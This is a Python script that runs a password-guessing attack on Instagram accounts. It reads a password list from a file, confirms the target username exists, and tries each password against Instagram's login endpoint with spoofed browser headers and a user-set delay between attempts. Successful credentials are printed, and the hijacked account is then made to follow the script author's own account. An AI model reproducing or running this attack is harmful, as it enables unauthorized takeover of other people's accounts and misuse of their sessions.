import requests

import json

import time

import os

filename = 'pass.txt'

if os.path.isfile(filename):

with open(filename) as f:

    passwords = f.read().splitlines()

    if (len(passwords) > 0):

    	print ('%s Passwords loads successfully' % len(passwords))

else:

print ('Please create passwords file (pass.txt)')

exit()

def userExists(username):

r = requests.get('https://www.instagram.com/%s/?__a=1' % username) 

if (r.status_code == 404):

	print ('User not found')

	return False

elif (r.status_code == 200):

	followdata = json.loads(r.text)

	fUserID = followdata['user']['id']

	return {'username':username,'id':fUserID}

def Login(username,password):

sess = requests.Session()

sess.cookies.update ({'sessionid' : '', 'mid' : '', 'ig_pr' : '1', 'ig_vw' : '1920', 'csrftoken' : '',  's_network' : '', 'ds_user_id' : ''})

sess.headers.update({

	'UserAgent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36',

	'x-instagram-ajax':'1',

	'X-Requested-With': 'XMLHttpRequest',

	'origin': 'https://www.instagram.com',

	'ContentType' : 'application/x-www-form-urlencoded',

	'Connection': 'keep-alive',

	'Accept': '*/*',

	'Referer': 'https://www.instagram.com',

	'authority': 'www.instagram.com',

	'Host' : 'www.instagram.com',

	'Accept-Language' : 'ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4',

	'Accept-Encoding' : 'gzip, deflate'

})



#first time -> to get csrftoken

r = sess.get('https://www.instagram.com/') 

sess.headers.update({'X-CSRFToken' : r.cookies.get_dict()['csrftoken']})



data = {'username':username, 'password':password}

r = sess.post('https://www.instagram.com/accounts/login/ajax/', data=data, allow_redirects=True)

token = r.cookies.get_dict()['csrftoken']

sess.headers.update({'X-CSRFToken' : token})

#parse response

data = json.loads(r.text)

if (data['status'] == 'fail'):

	print (data['message'])

	return False



if (data['authenticated'] == True):

	return sess #if we want to keep use session

else:

	print ('Password incorrect [%s]' % password)

	return False

def follow(sess, username):

username = userExists(username)

if (username == False):

	return	

else:

	userID = username['id']

	followReq = sess.post('https://www.instagram.com/web/friendships/%s/follow/' % userID)

	print (followReq.text)

username = str(input('Please enter a username: '))

username = userExists(username)

if (username == False):

exit()

else:

username = username['username']

delayLoop = int(input('Please add delay between the passwords (in seconds): '))

for i in range(len(passwords)):

password = passwords[i]

sess = Login(username,password)

if (sess):

	print ('Login success %s' % [username,password])



	#because i am cool

	follow(sess,'avr_amit')



try:

	time.sleep(delayLoop)

except KeyboardInterrupt:

	an = str(input('Type y/n to exit: '))

	if (an == 'y'):

		exit()

	else:

		continue